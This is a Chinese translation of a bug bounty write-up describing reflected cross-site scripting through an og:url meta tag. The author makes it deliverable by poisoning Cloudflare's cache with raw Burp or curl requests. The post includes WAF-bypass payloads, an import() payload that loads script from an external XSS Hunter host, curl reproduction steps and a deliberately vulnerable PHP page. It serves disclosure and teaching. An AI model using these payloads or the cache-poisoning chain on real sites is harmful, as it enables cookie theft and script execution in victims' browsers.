几个月前,我在一个私人漏洞赏金计划中发现了跨站点脚本漏洞,我想写一下。
利用此漏洞需要绕过Cloudflare WAF以及在应用程序级别实施的额外字符限制。
此外,最重要的部分是以某种方式利用 Cloudflare 缓存,以便我可以用恶意负载毒害它。
通过这个攻击链,我成功地通过发送一个预先被毒害的特制 URL 来利用其他用户。
注意:我将使用为该博客文章创建的测试环境,这样我就不会泄露目标,而且如果您愿意,您也可以在易受攻击的环境中玩。
技术细节
在阅读https://redacted.com上有关特定功能如何工作的文档时,我偶然发现了以下 URL:
https://xss.2n.wtf/points/1234
检查了页面的源代码后,我发现“ points ”值反映在规范的“ og:url ”元标记中。
og:url — 对象的规范 URL,将用作图表中的永久 ID,例如“ https://www.imdb.com/title/tt0117500/ ”。
https://ogp.me/#:~:text=og%3Aurl%20%2D%20The%20canonical%20URL,%2Ftitle%2Ftt0117500%2F%22。
随着对“ og:url”的反思,我还注意到该页面已被Cloudflare缓存。
通过对“ og:url ”的反射和缓存机制,我尝试通过浏览器发送双引号,看看是否可以实现XSS。
我通过浏览器粘贴了以下payload:“ https://xss.2n.wtf/points/1234 ”,结果页面上回显了指定的值:
这表明 XSS 可能无法实现,因为该值似乎是 URL 编码的“ %22 ”。
然而,我决定深入挖掘。我选择进一步调查,因为注入点位于URL 路径中,该路径通常在到达 Web 服务器之前由浏览器进行编码。
为了验证这一点,我做了以下测试:
请求 1:[浏览器]
https://xss.2n.wtf/points/test”
请求2:[BurpSuite]
https://xss.2n.wtf/points/test ”
请求 2:[BurpSuite][结果]
截图清楚地显示,“请求 2”上的值没有经过 URL 编码就反映出来了,证实了我之前的怀疑。
但此时问题出现了,我无法将payload发送给其他用户,因为浏览器会对GET请求中的“字符进行编码,这样其他人就无法利用这个漏洞了。
缓存投毒
Cloudflare 的缓存机制在这里起到了作用。我可以通过 Burp Suite 发送请求,以便可以缓存有效负载的解码版本。
因此,当有人使用浏览器访问“ /points/test%22 ”时,他们会看到被我的 burpsuite 缓存毒害的解码后的有效负载,从而方便其他人利用。
这个过程是有效的,因为我们首先使用 Burp Suite 缓存恶意负载。
无法通过浏览器直接缓存有效负载,因为浏览器会对其进行 URL 编码并缓存编码版本。
出现这种情况的原因是 Cloudflare在这种情况下将“和 %22 视为相等,而我只能通过在我的 cloudflare 帐户上使用 Workers 进行特定配置才能实现这一点。我尝试使用 Cloudflare 中的默认标准化设置,但没有成功。
开发
该策略涉及使用 Burp Suite 或 curl 发送包含我们的有效负载的请求,然后 Cloudflare 将其缓存并返回给我们的目标受害者。
简单来说,我们在这里做的是:
现在通过打开浏览器来确认:
响应头浏览器:
正如我已经提到的,最重要的步骤是通过 BurpSuite 或 CURL 缓存恶意负载,否则它会缓存负载的 URL 编码版本。
尝试直接通过浏览器缓存的示例:
这清楚地表明有效载荷是URL编码的。
下一步将展示我用来构建恶意负载的方法。
Web 应用程序防火墙
尝试提交下面显示的有效载荷会导致Web 应用程序防火墙立即阻止。
“><script>alert(1);</script>
在花了一些时间绕过Cloudflare WAF之后,我成功使以下有效载荷发挥作用:
GET /points/ "><img/src=x/onerro=6><img/src=" 1 "/onerror=alert(1);>?test=test HTTP/2
随后我通过浏览器访问同样的URL,也成功执行了。
此时,我确认存在 XSS 漏洞并可能触发警报。然而,为了展示其潜在影响,我想从我的服务器加载外部 JavaScript,https://<your.xss.hunter>
绕过字符限制
在这里,我遇到了另一个障碍。有效负载(在URL路径内)不能包含以下字符或元素:
-
冒号:
-
大写字母
这是绕过 WAF 之后的某种附加保护。但在花了一些时间尝试绕过它之后,我成功实现了以下目标:
在下一个屏幕截图中可以看到哪些字符被删除或更改了:
由于URI 架构约束和字符限制,我无法在实际目标上加载外部 JavaScript 。由于有效载荷自动转换为小写,因此诸如base64 编码/解码之类的功能也无法使用。
解决方案
为了绕过这些限制,我将有效载荷放在一个随机的 GET 参数中,然后将其合并到导入函数中:
https://xss.2n.wtf/points/“><img/src=x/onerro=6><img/src= " 1 "/onerror=import(location.search.split(" aa= ").pop());>?source=web-linaka&aa=https://xss.hunter
通过使用 Burp Suite,有效载荷被 Cloudflare 成功缓存。然后我在浏览器中访问了以下 URL 来触发漏洞。
将有效载荷发送给受害者
分析完缓存机制后,我发现它是以区域为单位运行的。这意味着如果我想向其他用户发送XSS,我必须事先在不同区域破坏缓存。
为了演示我的概念验证,我以与保加利亚索非亚相关的缓存为目标。这演示了一旦缓存被毒化,有效载荷就可以在该地区的各种设备上触发。
简单的复现步骤
1、运行 CURL 命令:
curl -i "https://xss.2n.wtf/points/"><img/src=x/onerro=6><img/src="1"/onerror=alert(1);>1"
2、打开浏览器并访问
https://xss。2n.wtf/points/%22%3E%3Cimg/src=x/onerro=6%3E%3Cimg/src=%221%22/onerror=alert(1);%3E1
3. 将 URL 发送给需要位于同一中毒位置的受害者。
PoC 环境
在我的环境中,托管以下与真实环境类似的源:https://xss.2n.wtf/ — 您可以在那里重现提到的行为。
<?php header ( 'HTTP/1.0 404 Not Found' ); ?>
<html prefix= "og: https://ogp.me/ns#" >
<head>
<title>PoC Redacted</title>
<meta property= "og:title" content= "The Rock" />
<meta property= "og:type" content= "video.movie" />
<meta property= "og:url" content= "<?php echo $_SERVER ['REQUEST_URI']; ?>" />
<meta property= "og:image" content= "https://ia.media-imdb.com/images/rock.jpg" />
</head>
<body>
PoC <pre> $_SERVER [ 'REQUEST_URI' ];</pre>
</body>
</html>
因此,通过使用REQUEST_URI和特定的 Cloudflare 配置,可能会产生有趣的结果。
我仅使用 Cloudflare 复现了它,但请随时联系以进行进一步研究。
影响
攻击者可以通过缓存投毒注入跨站点脚本 (XSS) 负载并绕过 Web 应用程序防火墙 (WAF) 保护。此方法允许以各种方式将恶意负载传递给受害者。
一旦传递给受害者,此有效载荷就会授予攻击者窃取 cookie 并在受害者的浏览器上执行任意 JavaScript 代码的能力。谢谢阅读。
Cross-Site Scripting via Web Cache Poisoning and WAF bypass
https://ltsirkov.medium.com/cross-site-scripting-via-web-cache-poisoning-and-waf-bypass-6cb3412d9e11
原文始发于微信公众号(Ots安全):通过 Web 缓存投毒和 WAF 绕过进行跨站点脚本攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论